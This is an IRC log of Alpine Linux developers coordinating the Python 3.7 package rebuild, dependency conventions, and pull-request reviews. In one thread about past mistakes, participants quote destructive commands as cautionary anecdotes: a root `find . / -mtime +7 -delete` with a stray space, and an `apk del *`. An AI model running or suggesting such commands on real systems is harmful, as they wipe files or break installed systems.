2019-04-03 19:26:17 <ncopa> but should a py2-* package depend on py3-*
2019-04-03 19:26:36 <ddevault> ah, I see what you're getting at
2019-04-03 19:26:52 <ddevault> not talking about the loop anymore
2019-04-03 19:26:55 <ddevault> got it
2019-04-03 19:27:16 <ncopa> and should a py3-* package depend on a py2-*
2019-04-03 19:27:36 <ddevault> no
2019-04-03 19:27:39 <ddevault> swapping that for py-six metapackage
2019-04-03 19:32:09 <ddevault> okay, sorted the six stuff. anything else?
2019-04-03 19:32:30 <ncopa> as i mentioned in comment about python standardization proposal, i woudl prefer to have explicit depends
2019-04-03 19:32:54 <ddevault> so would py2-six and py3-six both appear in makedepends?
2019-04-03 19:33:01 <ddevault> then again in depends for each package, separately
2019-04-03 19:33:21 <ncopa> so py3-foo has depends=py3-bar
2019-04-03 19:33:38 <ncopa> yes so both py2-six and py3-six appears in makedepends
2019-04-03 19:33:51 <ddevault> lhttps://paste.sr.ht/~sircmpwn/4c60f41609ed11bcfa7ac66486939bc8c61a2cc1 like this
2019-04-03 19:34:41 <ncopa> io was thinking:
2019-04-03 19:34:51 <ncopa> _py2_deps="py2-six"
2019-04-03 19:35:00 <ncopa> _py3_deps="py3-six"
2019-04-03 19:35:15 <ncopa> makedepends="$_py2_deps $_py3_deps"
2019-04-03 19:35:27 <ncopa> and in split func:
2019-04-03 19:35:36 <ncopa> _py2() {
2019-04-03 19:35:47 <ncopa>   depends="$_py_deps"
2019-04-03 19:35:48 <ncopa> ...
2019-04-03 19:35:49 <ncopa> }
2019-04-03 19:35:52 <ncopa> sorry
2019-04-03 19:36:01 <ncopa> $_py2_deps
2019-04-03 19:36:15 <ddevault> I can do that
2019-04-03 19:36:25 <ddevault> let me update the wiki too
2019-04-03 19:36:27 <ncopa> then if py2-* deps changes then you only need change one place
2019-04-03 19:36:51 <ncopa> it is easy to forget the makedepends
2019-04-03 19:37:11 <ncopa> yeah, updating the wiki is great. thanks!
2019-04-03 19:37:59 <ddevault> how's this https://wiki.alpinelinux.org/w/index.php?title=Python_package_policies&type=revision&diff=15863&oldid=15832
2019-04-03 19:38:06 <ncopa> i have 48 packages in main rebuilt so far
2019-04-03 19:38:08 <ddevault> I'll update all of my python patches in this series accordingly
2019-04-03 19:38:40 <_ikke_> ncopa: nice
2019-04-03 19:38:50 <ncopa> ddevault: depends="$depends $_py2_deps"
2019-04-03 19:39:04 <ncopa> i dont think we need $depends there
2019-04-03 19:39:16 <ddevault> what if it depends on non-python stuff
2019-04-03 19:39:20 <ddevault> which is common to both
2019-04-03 19:39:39 <ncopa> the it ends up double in makedepends i think
2019-04-03 19:39:44 <ncopa> but i think its rare
2019-04-03 19:39:49 <ddevault> alright, I'll pull this
2019-04-03 19:41:26 <ncopa> hum
2019-04-03 19:41:34 <ncopa> gdb fails
2019-04-03 19:41:37 <ncopa> checking whether to use python... /usr/bin/python3
2019-04-03 19:41:37 <ncopa> checking for python3.7... no
2019-04-03 19:41:37 <ncopa> configure: error: no usable python found at /usr/bin/python3
2019-04-03 19:43:57 <ncopa> ugh.. it looks like gnulib
2019-04-03 19:48:04 <ddevault> ncopa: missed a spot
2019-04-03 19:48:08 <ddevault> we're going to need
2019-04-03 19:48:15 <ddevault> _py2_deps="..."
2019-04-03 19:48:18 <ddevault> _py2_makedeps="..."
2019-04-03 19:48:20 <ddevault> and again for py3
2019-04-03 19:48:57 <ncopa> i dont think that is necessary
2019-04-03 19:49:09 <ddevault> ah, you're right. I'm just dumb
2019-04-03 19:49:39 <ncopa> and i am getting tired
2019-04-03 19:49:47 <ddevault> aye, me too
2019-04-03 20:01:24 <ncopa> ok. seems like bad things happens if gettext is available when building python
2019-04-03 20:09:35 <ncopa> ok, gdb built
2019-04-03 20:09:42 <ncopa> its making progress
2019-04-03 20:10:07 <ncopa> this is going smoohter than feared
2019-04-03 20:10:29 <ncopa> i think im gonna call it a day and continue tomorrow
2019-04-03 20:10:52 <ddevault> I just finished the last commit updating my patches to the better dependency pattern
2019-04-03 20:11:00 <ddevault> will send them along now, but feel free to look at them whenever you want
2019-04-03 20:17:36 <ddevault> ncopa: mbox url for misc python patches v3 https://patchwork.alpinelinux.org/bundle/ddevault/Misc%20Python%20adoptions%20&%20updates/mbox/
2019-04-03 20:18:32 <ncopa> http://tpaste.us/wjMJ
2019-04-03 20:18:56 <ncopa> i think there are some  indirect dependencies there, which is not detected by built time resolver
2019-04-03 20:19:06 <ncopa> anyone can help me find which?
2019-04-03 20:19:28 <ncopa> om going to bed. good night
2019-04-03 20:20:18 <ddevault> night
2019-04-03 20:20:28 <ddevault> will send you some more bundles for dealing with later
2019-04-03 20:20:28 <ollieparanoid[m]> can somebody fastrack this fix for network-manager-applet (xfce4)? https://github.com/alpinelinux/aports/pull/6933
2019-04-03 20:20:35 <ddevault> ncopa: weasyprint bundle https://patchwork.alpinelinux.org/bundle/ddevault/weasyprint/mbox/
2019-04-03 20:22:40 <SpaceToast> ollieparanoid[m]: I think everyone with push access has gone to bed now :( (most people with current access are in mid-EU, where it's 10pm now)
2019-04-03 20:22:56 <SpaceToast> try poking tomorrow morning? :)
2019-04-03 20:23:10 <clandmeter> 😴
2019-04-03 20:23:13 <SpaceToast> (hopefully, we can have some more geo redundancy in terms of devs once the thing happens . . . one day)
2019-04-03 20:23:16 <SpaceToast> hey clandmeter :)
2019-04-03 20:23:30 <ollieparanoid[m]> heh. yeah, it's also around 10 here
2019-04-03 20:23:38 <clandmeter> its still ok here
2019-04-03 20:23:41 <_ikke_> what repo?
2019-04-03 20:23:53 <SpaceToast> 4:23pm here, not even done with work yet :D
2019-04-03 20:24:01 <_ikke_> community
2019-04-03 20:24:02 <SpaceToast> _ikke_: it's in community
2019-04-03 20:24:32 <_ikke_> I'm in the middle of a tricky rebase, will look at it afterwards
2019-04-03 20:24:55 <clandmeter> i think nm got bumped today?
2019-04-03 20:25:09 <clandmeter> mps, did you bump it?
2019-04-03 20:25:59 <ollieparanoid[m]> clandmeter: this is for the applet, which is broken now
2019-04-03 20:26:05 <clandmeter> i know
2019-04-03 20:26:58 <ollieparanoid[m]> if ikke can take a look at it later it would be great - at least for me there's no need to look at it right away. I'm about to go off anyways :)
2019-04-03 20:27:07 <clandmeter> so it should have been bumped at the same time
2019-04-03 20:27:16 <clandmeter> lll bump it
2019-04-03 20:29:08 <clandmeter> done
2019-04-03 20:29:09 <ollieparanoid[m]> clandmeter: yeah, it should have. well, bumping is not enough, see the PR
2019-04-03 20:29:46 <ollieparanoid[m]> thanks!
2019-04-03 20:34:21 <artok> mps: been busy day, but I think on the docs, there wasn't mount command for mounting alpine-work.img(/dev/sdb1) to /mnt
2019-04-03 20:38:35 <artok> before doing: setup-disk -m sys /mnt
2019-04-03 20:38:49 <artok> you need to have /mnt mounted
2019-04-03 20:49:36 <tcely> Can we get https://github.com/alpinelinux/aports/pull/5950 & https://github.com/alpinelinux/aports/pull/6265 merged before the next release?
2019-04-03 21:45:07 <mps> clandmeter: sorry, just arrived. what pkg bump? NM?
2019-04-03 21:48:46 <mps> artok: don't understand your comment, care to explain little more
2019-04-03 22:36:55 <mps> artok: now Alpine have qemu u-boot apk and ready to be used in qemu aarch64
2019-04-03 22:54:34 <mps> artok: I have reworked script and guide, could it post but tomorrow, going to sleep. good night all
2019-04-04 00:07:57 <kmaxwell> has anyone got a compiled package for python3.7 handy? I'm on a chromebook atm and well impatient :-)
2019-04-04 00:18:04 <timlegge> have a question regarding packaname change/upgrade
2019-04-04 00:21:39 <timlegge> I had submitted testing/perl-time-parsedate but realized it it an updated version of perl-time-modules.  Apparently Time::Modules was renamed Time:ParseData in 2013.0916 and the current perl-time-modules is 9 versions behind
2019-04-04 00:23:06 <timlegge> Should I submit a change to perl-time-modules to bring it uptodate?  The correct name for the current version though is perl-time-parsedate based on the perl module name
2019-04-04 00:38:40 <kmaxwell> timlegge: if you haven't seen it, I think replaces= should help with that scenario https://wiki.alpinelinux.org/wiki/APKBUILD_Reference#replaces
2019-04-04 00:38:56 <kmaxwell> maybe you want to rename the package and add a replaces= to the old name
2019-04-04 09:49:54 <ncopa> kmaxwell: thanks alot for looking at the gcalcli issue
2019-04-04 09:53:56 <_ikke_> weej, 205 open PRs,
2019-04-04 09:54:37 <eu> Hi, I've recently started using alpine again (on my iPhone with iSH) after a 3.5 year hiatus (https://github.com/alpinelinux/aports/commits?author=uggedal). What's the current way of moving a fully working package from testing to community (and possibly maintain it there)?
2019-04-04 09:55:04 <_ikke_> eu: open a PR to move it
2019-04-04 09:55:49 <clandmeter> 205+1 ;-)
2019-04-04 09:55:55 <_ikke_> :D
2019-04-04 09:56:11 <eu> _ikke_: ah, so you allow github contribs now. thanks
2019-04-04 09:56:24 <kmaxwell> ncopa: no problem, upstream has actually been super friendly - accepted a PR clarifying dependencies already
2019-04-04 09:57:00 <danieli> eu: are you him?
2019-04-04 09:57:03 <danieli> if so, god dag!
2019-04-04 09:57:17 <kmaxwell> just fixing my PR to move it to unmaintained, is there anywhere sensible for the upgrade diff, just a GH comment?
2019-04-04 09:57:33 <eu> danieli: yep, god dag
2019-04-04 09:58:13 <clandmeter>  sounds strange in dutch :)
2019-04-04 09:58:36 <_ikke_> :P
2019-04-04 09:58:55 <danieli> clandmeter: en "goede dag" voor jou
2019-04-04 09:59:05 <clandmeter> dank u
2019-04-04 09:59:19 <clandmeter> u ook natuurlijk
2019-04-04 09:59:41 <eu> A few changes since last time I updated my aport fork...: ## master...origin/master [ahead 41974]
2019-04-04 09:59:55 <danieli> clandmeter: dankjewel :)
2019-04-04 10:00:09 <danieli> eu: anyway, neat :) and yeah, you can use the 'regular github workflow' with us
2019-04-04 10:00:18 <_ikke_> eu: ha, just a tiny bit behind
2019-04-04 10:00:23 <mps> clandmeter: last night you asked me did I bump something. NM?
2019-04-04 10:00:59 <mps> I was out at the time
2019-04-04 10:01:24 <clandmeter> mps: yes,  some applet depends on it and it stopped working.
2019-04-04 10:01:51 <clandmeter> or tool, not sure what it was.
2019-04-04 10:01:59 <mps> I didn't touched any applet
2019-04-04 10:02:26 <clandmeter> yes, thats the problem
2019-04-04 10:02:34 <mps> nmcli and nmtui in NM are updated and works, as far as I tested them
2019-04-04 10:03:40 <mps> didn't know that I should update depending packages, should I?
2019-04-04 10:04:11 <clandmeter> when you upgrade a package or make changes, we need to make sure things depending on it don't break. i know it sometimes difficult though.
2019-04-04 10:05:36 <mps> I had in mind that the depending applet should be triggered to rebuild, but didn't know procedure. Now I understand it better. thanks for explanation
2019-04-04 10:06:30 <mps> heh, two IWD releases in less than 24 hours
2019-04-04 10:06:55 <ncopa> eu: are you uggedal?
2019-04-04 10:07:01 <ncopa> hi!
2019-04-04 10:07:13 <danieli> han er det :)
2019-04-04 10:07:23 <ncopa> eu: welcome back!
2019-04-04 10:08:25 <ncopa> eu: we have #alpine-norwegian too in case you are interested ;)
2019-04-04 10:08:35 <danieli> oh yeah, that's true, I almost forgot
2019-04-04 10:10:45 <ncopa> for those of you who dont know eu and have been using alpine docker images: you all owe eu a beer!
2019-04-04 10:10:47 <ncopa> :)
2019-04-04 10:11:06 <danieli> deal
2019-04-04 10:11:12 <danieli> easy
2019-04-04 10:36:19 <eu> ncopa: yeah, thanks :) my memories of porting go to musl is not very fond :P
2019-04-04 10:37:44 <ncopa> lots has happened since then
2019-04-04 10:41:29 <eu> still using openrc though :)
2019-04-04 10:42:18 <ncopa> *shrug* nothing better enough has shown up
2019-04-04 10:42:52 <ncopa> i guess the only real alternative so far has been s6
2019-04-04 10:43:38 <mps> runit, maybe. void have a lot ready run scripts
2019-04-04 10:43:50 <eu> I saw that openrc now supports supervision. Solves the problem I had with it
2019-04-04 10:44:05 <ncopa> yes, actually runit may be an alternative
2019-04-04 10:45:02 <mps> and runit could be built as busybox applet and then be in minimal install media
2019-04-04 10:45:07 <ncopa> yes
2019-04-04 10:45:44 <mps> once upon a time ( :) ) I made debian with runit as pid 1
2019-04-04 10:45:55 <ncopa> there are some design issues with it that i dont really like
2019-04-04 10:46:01 <ncopa> like polling
2019-04-04 10:46:32 <ncopa> instead of getting notifications that now its time to start this and this, it retries and retires til it works
2019-04-04 10:46:45 <mps> well, agree, and there is no perfect init system, afaik
2019-04-04 10:46:53 <ncopa> yup
2019-04-04 10:47:08 <eu> do you have a upstream pkg update checker btw?
2019-04-04 10:47:27 <ncopa> sort of yes
2019-04-04 10:47:38 <ncopa> pkgs.alpinelinux.org
2019-04-04 10:47:54 <ncopa> where users can manually flag packages
2019-04-04 10:48:09 <ncopa> and we also have a script that compares with a database
2019-04-04 10:48:20 <ncopa> that sends email notifications to maintainer
2019-04-04 10:51:08 <_ikke_> There is also repology
2019-04-04 10:51:28 <_ikke_> https://repology.org/projects/?inrepo=alpine_edge&outdated=1
2019-04-04 11:31:25 <ncopa> wow. python 3.7 rebuilds for main is done
2019-04-04 11:32:32 <danieli> how much is broken?
2019-04-04 11:32:41 <ncopa> so far a couple of packages
2019-04-04 11:32:45 <_ikke_> ncopa: Nice
2019-04-04 11:32:51 <ncopa> py-newt
2019-04-04 11:32:57 <ncopa> i just disabled python for now
2019-04-04 11:33:10 <ncopa> gcalcli, which i moved to unmaintained
2019-04-04 11:33:56 <ncopa> there was one more that neede a patch to auto discover python 3.7
2019-04-04 11:34:09 <ncopa> but could also specify python binary directly to cmake
2019-04-04 11:34:24 <ncopa> i havent tested if anything breaks runtime
2019-04-04 11:34:42 <ncopa> this went smoother than feared
2019-04-04 11:35:15 <ncopa> how im gonna look over ddevaults' patches in main
2019-04-04 11:35:27 <ncopa> i may need rebase those
2019-04-04 12:55:32 <tmhoang> \o/
2019-04-04 13:30:05 <fcolista> ncopa: can youcheck this  patch? https://bugs.alpinelinux.org/issues/7746
2019-04-04 13:30:19 <fcolista> if you are ok, then I''l go ahead and applied id
2019-04-04 13:30:21 <fcolista> *apply
2019-04-04 13:33:22 <ncopa> i think we have a poppler-qt5 package?
2019-04-04 13:33:47 <ncopa> i think the problem is that it introduces a circular dep
2019-04-04 13:33:52 <ncopa> qt needs poppler to build
2019-04-04 13:34:08 <ncopa> and poppler-qt5 needs qt
2019-04-04 13:34:38 <fcolista> aha
2019-04-04 13:34:44 <fcolista> that's a very good catch
2019-04-04 13:35:17 <ncopa> i think i saw a qt5-poppler package the other day
2019-04-04 13:35:52 <ncopa> let me answer in the issue, for the record
2019-04-04 13:37:24 <fcolista> ncopa, i think that poppler-qt5 should be removed
2019-04-04 13:37:33 <fcolista> and we add poppler-qt5 as subpackage of poppler
2019-04-04 13:38:00 <fcolista> perhaps we can drop qt4 ..
2019-04-04 13:40:51 <ncopa> yes we should try drop poppler-qt4
2019-04-04 13:41:05 <ncopa> no, we cannot have poppler-qt5 a subpackage due to circular depends
2019-04-04 13:41:20 <fcolista> yes right
2019-04-04 13:41:26 <ncopa> which is why we have them in separate
2019-04-04 13:41:38 <ncopa> i think we need to move poppler-qt5 to community
2019-04-04 13:41:42 <ncopa> qt5 is in community
2019-04-04 13:42:11 <ncopa> rnalrd: ^^^
2019-04-04 13:42:12 <fcolista> we need to move cups too
2019-04-04 13:42:19 <fcolista> on community
2019-04-04 13:42:23 <ncopa> why?
2019-04-04 13:42:54 <fcolista> nevermind. cups depends on poppler, not on poppler-qt5
2019-04-04 13:42:57 <ncopa> cups needs poppler in main (without qt5)
2019-04-04 13:43:00 <ncopa> yup
2019-04-04 13:43:01 <fcolista> rgiht
2019-04-04 14:04:17 <ncopa> fwiw... i am working on python 3.7 upgarde as we speak. have done main and are doing community
2019-04-04 14:04:36 <ncopa> i will have to rebase my work against the living aports tree
2019-04-04 14:05:02 <ncopa> if you push to main or community, it will slow down the python 3.7 upgrade
2019-04-04 14:05:03 <fcolista> ok
2019-04-04 14:05:16 <fcolista> good to know
2019-04-04 14:05:40 <ncopa> it will likely not be big problem
2019-04-04 14:05:43 <fcolista> I'll wait for py 3.7 upgrade then
2019-04-04 14:05:50 <fcolista> i'm not in a rush
2019-04-04 14:05:51 <ncopa> and testing is currently no problem at all
2019-04-04 14:05:59 <ncopa> at the moment
2019-04-04 14:06:11 <fcolista> just checking the outdated package i maintain and go ahead in upgrade them
2019-04-04 14:06:22 <fcolista> but nothing urgent at all
2019-04-04 14:06:29 <ncopa> may help if you do the non-python first
2019-04-04 14:07:37 <fcolista> np
2019-04-04 14:07:40 <fcolista> ok
2019-04-04 14:17:46 <ncopa> what is the best way to print pythons  MAYOR.MINOR version?
2019-04-04 14:18:06 <ncopa> python --version | sed ' .... '
2019-04-04 14:18:14 <ncopa> or something else
2019-04-04 14:18:36 <ncopa> i have seen some long python line to do the same thing
2019-04-04 14:18:56 <_ikke_> yes
2019-04-04 14:18:57 <_ikke_> hold on
2019-04-04 14:19:16 <ncopa> (python3 -c 'import sys; print(str(sys.version_info[0])+str(sys.version_info[1])
2019-04-04 14:19:24 <_ikke_> https://git.alpinelinux.org/aports/tree/community/py3-jedi/APKBUILD#n23
2019-04-04 14:20:32 <ncopa> $ python3 -c 'import sys; print(str(sys.version_info[0])+str(sys.
2019-04-04 14:20:33 <ncopa> version_info[1]))'
2019-04-04 14:20:33 <ncopa> 36
2019-04-04 14:21:10 <ncopa> python3 --version | sed -E -e 's/^.* ([0-9]+)\.([0-9]+)\..*/\1\2/'
2019-04-04 14:21:18 <ncopa> with sed its shorter :)
2019-04-04 14:21:37 <_ikke_> But way more complex to understand :)
2019-04-04 14:22:27 <ncopa> exactly
2019-04-04 14:22:39 <ncopa> and forks another process
2019-04-04 14:24:59 <danieli> could probs use grep and make it a tiny bit shorter but we're not exactly doing code golf
2019-04-04 14:26:19 <ncopa> https://git.alpinelinux.org/aports/tree/community/py3-jedi/APKBUILD#n23 is useless use of echo
2019-04-04 14:26:31 <danieli> agreed
2019-04-04 14:27:48 <ncopa> there are a few packages that has "py36" or "usr/lib/python3.6" hardcoded
2019-04-04 14:28:14 <ncopa> even more have 2.7 or 27 hardcoded
2019-04-04 14:28:21 <ncopa> which i dont care about now
2019-04-04 14:28:30 <_ikke_> danieli: guilty as charge
2019-04-04 14:29:34 <ncopa> yup! :D
2019-04-04 14:29:48 <ncopa> just tested out the git blame func in cgit :)
2019-04-04 14:29:53 <_ikke_> heheh :D
2019-04-04 14:29:58 <danieli> oh no, who are you blaming?
2019-04-04 14:30:00 <ncopa> https://git.alpinelinux.org/aports/commit/testing/py-jedi/APKBUILD?id=b0765ad4a90ba992b3668a994c2e4325750c05d4
2019-04-04 14:30:21 <ncopa> the winner of this weeks "useless use of echo" goes tooooooooo.............
2019-04-04 14:30:30 <danieli> hahahhahah
2019-04-04 14:30:33 <_ikke_> 
ACTION <--

2019-04-04 14:30:44 <ncopa> _ikke_!!!!
2019-04-04 14:30:50 <danieli> !!!!!!
2019-04-04 14:31:15 <_ikke_> Thank you all for supporting me in working towards receiving this award
2019-04-04 14:31:25 <ncopa> dont forget to thank your mum
2019-04-04 14:31:31 <ncopa> :)
2019-04-04 14:31:32 <danieli> why am i laughing at this, it's so silly
2019-04-04 14:31:45 <ncopa> yup! its friday
2019-04-04 14:32:05 <AinNero> hm, it strips newlines
2019-04-04 14:32:25 <AinNero> together with other whitespaces
2019-04-04 14:32:32 <AinNero> so not entirely a no-op
2019-04-04 14:32:45 <danieli> you'd need to use echo -n to avoid it adding a newline
2019-04-04 14:33:02 <ncopa> no i think he may be right
2019-04-04 14:33:38 <AinNero> > echo $(echo a; echo b)
2019-04-04 14:33:46 <otlabs> hi ppl
2019-04-04 14:33:49 <AinNero> three echoes, but in the end it only outputs one newline
2019-04-04 14:33:57 <ncopa> AinNero is such a bisserwesser... :)
2019-04-04 14:34:02 <ncopa> otlabs: hi
2019-04-04 14:34:17 <_ikke_> AinNero: but the calling $() should take care of that as well, right?
2019-04-04 14:34:19 <otlabs> ncopa: greetings!
2019-04-04 14:34:20 <AinNero> i just wanted to make _ikke_ feel less dumb
2019-04-04 14:35:07 <ncopa> (you were supposed to respond "its called besserwisser")
2019-04-04 14:35:27 <ncopa> sorry _ikke_ i just coundt resist
2019-04-04 14:35:42 <ncopa> there used to be a useless use of cat awards
2019-04-04 14:35:59 <_ikke_> http://porkmail.org/era/unix/award.html
2019-04-04 14:36:17 <AinNero> ncopa: i assumed your german is just bad, so i auto-corrected it in my head
2019-04-04 14:37:48 <ncopa> which saved you
2019-04-04 14:38:14 <AinNero> _ikke_: "$()" doesn't have that effect, i guess its the combination if $() and missing quotes that allow splitting into multiple arguments
2019-04-04 14:38:22 <ncopa> sorry ppl. we should not make fun of people so they feel stupid. sorry _ikke_
2019-04-04 14:39:03 <_ikke_> I mocked myself as well :)
2019-04-04 14:40:01 <AinNero> i once did an `find . / -mtime +7 -delete`, notice the space between '.' and '/'
2019-04-04 14:40:14 <ncopa> it was bad example, even if in this case i think i know you well enough
2019-04-04 14:40:14 <AinNero> as root
2019-04-04 14:40:29 <ncopa> AinNero: ha!
2019-04-04 14:41:26 <ncopa> i once had a demo on stage where i did 'apk del *' on purpose
2019-04-04 14:42:04 <ncopa> to show how to restore it
2019-04-04 14:42:08 <danieli> i'm wary of doing live demos unless i'm 100% sure it'll work
2019-04-04 14:42:25 <ncopa> what i didnt count on was that xfce4-terminal stopped to work
2019-04-04 14:42:39 <ncopa> i couldnt do anything
2019-04-04 14:42:47 <_ikke_> ncopa: That was your previous docker conference, right?
2019-04-04 14:42:50 <ncopa> i could ctrl-alt-1
2019-04-04 14:42:58 <ncopa> but not login without /sbin/login
2019-04-04 14:43:12 <ncopa> docker meetup
2019-04-04 14:43:14 <ncopa> yes
2019-04-04 14:43:30 <AinNero> i think that openly talking about mistakes one made a) helps other to not do them themselves and b) reduces anxiety about making mistakes themselves
2019-04-04 14:45:09 <danieli> hahahah oops
2019-04-04 14:45:18 <danieli> sh*t happens
2019-04-04 14:46:29 <ncopa> exactly. making mistakes normally dont matter that much
2019-04-04 14:46:36 <ncopa> how we deal with them matter often more
2019-04-04 14:48:12 <AinNero> moth sitting on paper lamp? smashing would have destroyed them both, so i set the moth ablaze with spray and lighter. while it was still sitting on said paper lamp
2019-04-04 14:48:24 <AinNero> i think that event still hold the speed record to the bathtub
2019-04-04 14:48:55 <ncopa> lol
2019-04-04 14:49:02 <AinNero> i think im now out of dumb things i did
2019-04-04 14:53:24 <ncopa> pytest-xdist fails with the updated pytest and python 3.7
2019-04-04 14:53:31 <ncopa> but its the python 2.7 test that fails
2019-04-04 14:53:56 <ncopa> so i must have done something stupid
2019-04-04 14:54:31 <ncopa> what i wonder though is, what do we need pytest-xdist for python2 for?
2019-04-04 14:54:42 <ncopa> can we remove python2 support for it?
2019-04-04 14:56:12 <ncopa> btw _ikke_ i think your way of using python to fish out the major minor was much better than mine, using sed
2019-04-04 14:57:33 <ncopa> hm, py3-jedi also fails with python 3.7
2019-04-04 14:58:14 <_ikke_> ncopa: I blatantly copied it from another aport ;)
2019-04-04 14:58:49 <ncopa> which was lot smarter than sitting 10 mins with sed to get the regex correct...
2019-04-04 14:59:39 <_ikke_> jedi says they support python 3.7
2019-04-04 15:03:12 <ncopa> it may be tox that is broken
2019-04-04 15:03:28 <ncopa> or something else
2019-04-04 15:10:05 <clandmeter> ncopa: I wonder what the right way would be to add network support to initramfs excluding the modules. currently files and modules are bundled.
2019-04-04 15:10:35 <clandmeter> should i add an option called networkfiles or do you have a better idea?
2019-04-04 15:12:28 <ncopa> not at the moment. need to be afk for a while now. sorry
2019-04-04 15:26:39 <tmhoang> clandmeter: how do you think ? v
2019-04-04 15:26:42 <tmhoang> clandmeter: how do you think ? http://tpaste.us/dkdJ
2019-04-04 15:27:31 <SpaceToast> I don't really like pretending rsa and ed25519 are universal resources
2019-04-04 15:28:12 <SpaceToast> is the issue that it's awkward to have spaces in a boot environment?
2019-04-04 15:28:45 <tmhoang> there are tricks in kernel  docs to solve spaces in kernel parm but I have to look in it first ...
2019-04-04 15:28:59 <tmhoang> btw I don't mean/pretend they are universal or some sort
2019-04-04 15:30:27 <SpaceToast> see RFC 3986 ;)
2019-04-04 15:30:29 <tmhoang> last time I checked in order to have spaces in kernel parm, double quotes are required.
2019-04-04 15:31:19 <clandmeter> does rsa actaully work?
2019-04-04 15:31:49 <tmhoang> and I'm having trouble with double quotes with -append option in qemu
2019-04-04 15:31:57 <tmhoang> clandmeter: should work
2019-04-04 15:32:18 <clandmeter> limit is 4k?
2019-04-04 15:32:58 <tmhoang> parm length ? 4KB or 4k chars ? Both are way above rsa key length.
2019-04-04 15:33:41 <clandmeter> chars
2019-04-04 15:34:10 <tmhoang> last time I check it was an int
2019-04-04 15:34:51 <clandmeter> This limit depends on the architecture and is between 256 and 4096 characters.
2019-04-04 15:35:08 <tmhoang> yes yes
2019-04-04 15:35:18 <tmhoang> 1 min please
2019-04-04 15:36:16 <SpaceToast> clandmeter: most of the rsa key is in the private key; just generated a 4096-bit one, end result of the two files is 3381 in private, 740 in public
2019-04-04 15:36:30 <SpaceToast> the extras are likely for comments, "ssh-rsa" and so on
2019-04-04 15:37:06 <SpaceToast> I doubt it's guaranteed to be uniform, but public keys are indeed generally smaller than private keys
2019-04-04 15:37:54 <SpaceToast> (after all, n can be big, but d is typically bigger than e, which is actually fixed in half the implementations (awful thing btw :( ))
2019-04-04 15:39:48 <otlabs> andypost[m]: Hi! Any chance to continue today with cython to py-cython migration?
2019-04-04 15:46:14 <tmhoang> clandmeter: so x86 + power : 2048, arm : 1024, s390 : 896
2019-04-04 15:47:12 <SpaceToast> so only s390 will be significantly pressured
2019-04-04 15:47:22 <clandmeter> I guess we should only support sane keys
2019-04-04 15:47:25 <tmhoang> arm64 : 2048
2019-04-04 15:48:17 <SpaceToast> I would rather have a file:// option that prompts a find command
2019-04-04 15:48:20 <tmhoang> clandmeter: agreed. rsa + ed25519 are sane, afaik.
2019-04-04 15:48:23 <SpaceToast> across /media
2019-04-04 15:48:35 <SpaceToast> I personally find rsa questionable, but that's been a long-time criticism of mine
2019-04-04 15:49:50 <SpaceToast> still waiting for NTRU/BLISS though :(
2019-04-04 15:55:08 <clandmeter> I mean length of key
2019-04-04 16:00:13 <SpaceToast> if we can get https://bugs.alpinelinux.org/issues/9978 done, we could actually do the file:// thing even for first-time boots from iso
2019-04-04 16:00:23 <SpaceToast> since it would trivialize adding files in
2019-04-04 18:18:25 <otlabs> I would like to ask for kind help. I have a PR request for modernization of cython package (currently running on python2) to full package with support for both versions of python. The PR was checked by andypost[m] and reviewed by maintainer. Currently andypost[m] is heavily busy. I would like to get cython3 into Alpine as I would like to enable it for packages related to ZIM file generation, they require cython3.
2019-04-04 18:39:25 <otlabs> re hi
2019-04-04 18:42:56 <SpaceToast> hey otlabs, the issue is that cython is in main/
2019-04-04 18:43:05 <SpaceToast> so very few people actually have push to that
2019-04-04 18:43:12 <SpaceToast> (hell, I don't have push to any aports, even)
2019-04-04 18:43:23 <otlabs> oh, I see
2019-04-04 18:43:50 <otlabs> actually I was expecting some comments if I need something to change
2019-04-04 18:44:29 <otlabs> I was told that there are some discussions about python2 and python3
2019-04-04 18:44:48 <SpaceToast> ah, yeah, you could ask ddevault on that
2019-04-04 18:44:58 <otlabs> and I have no any backlogs so I have no idea if I need to adjust something or not
2019-04-04 18:45:03 <SpaceToast> (ncopa is involved, but let's try and minimize how much we weight down on him, eh? :) )
2019-04-04 18:45:10 <SpaceToast> let me try and find the wiki page...
2019-04-04 18:45:13 <otlabs> sure
2019-04-04 18:45:28 <SpaceToast> https://wiki.alpinelinux.org/wiki/Python_package_policies
2019-04-04 18:45:46 <ddevault> I would pump the brakes on removing python 2 support right now, especially for such an important package
2019-04-04 18:45:56 <ddevault> we haven't reached consensus and I imagine such a change would break a lot of deps
2019-04-04 18:45:58 <SpaceToast> this might eventually be added to docs.a.o once we have the new governance stuff in place and a dedicated python team, but this wiki page is ddevault's work so far (+ checked by other devs)
2019-04-04 18:46:09 <SpaceToast> ddevault: your py2+py3 template is likely of use
2019-04-04 18:46:13 <ddevault> aye
2019-04-04 18:46:18 <SpaceToast> :)
2019-04-04 18:47:36 <otlabs> I used that document to prepare the change, thank you SpaceToast
2019-04-04 18:55:18 <otlabs> mmm... should I make a trick and submit py-cython as a new aport to testing?
2019-04-04 18:55:41 <SpaceToast> well you probably wanna remove cython while you're at it (and use replaces=)
2019-04-04 18:55:53 <SpaceToast> I think you'll just need to wait until someone with push helps out :(
2019-04-04 18:56:07 <otlabs> how bad is this idea?
2019-04-04 18:56:13 <otlabs> ok
2019-04-04 18:56:37 <SpaceToast> you have the thing in github, right?
2019-04-04 18:57:04 <otlabs> yes
2019-04-04 18:57:06 <otlabs> https://github.com/alpinelinux/aports/pull/6244/files#diff-c83c73bdc718e9ba200cbe8f6c2128ebR43
2019-04-04 18:57:15 <otlabs> replaces is already there
2019-04-04 18:57:16 <SpaceToast> you might try poking rnalrd <rnalrd@gmail.com> and CC the devel ML
2019-04-04 18:57:30 <SpaceToast> actually, aports ML, my bad
2019-04-04 18:57:34 <otlabs> ok
2019-04-04 18:57:46 <otlabs> CC the devel ML???
2019-04-04 18:57:58 <SpaceToast> see line #2 :P
2019-04-04 18:58:03 <otlabs> mail list
2019-04-04 18:58:07 <otlabs> i assume
2019-04-04 18:58:14 <SpaceToast> yes, ML stands for Mailing List
2019-04-04 18:58:27 <SpaceToast> only if you think it's actually *that* urgent though
2019-04-04 19:00:36 <otlabs> i do not know if 2 months is a usual wait period, i am very new here
2019-04-04 19:00:38 <otlabs> sure, i can wait more. just making some noise ;-)
2019-04-04 19:01:14 <SpaceToast> some end up waiting years :(
2019-04-04 19:01:19 <SpaceToast> well, with the status quo, anyway
2019-04-04 19:01:31 <SpaceToast> try poking earlier in the day
2019-04-04 19:02:13 <otlabs> oh
2019-04-04 19:02:34 <otlabs> sure, thank you!
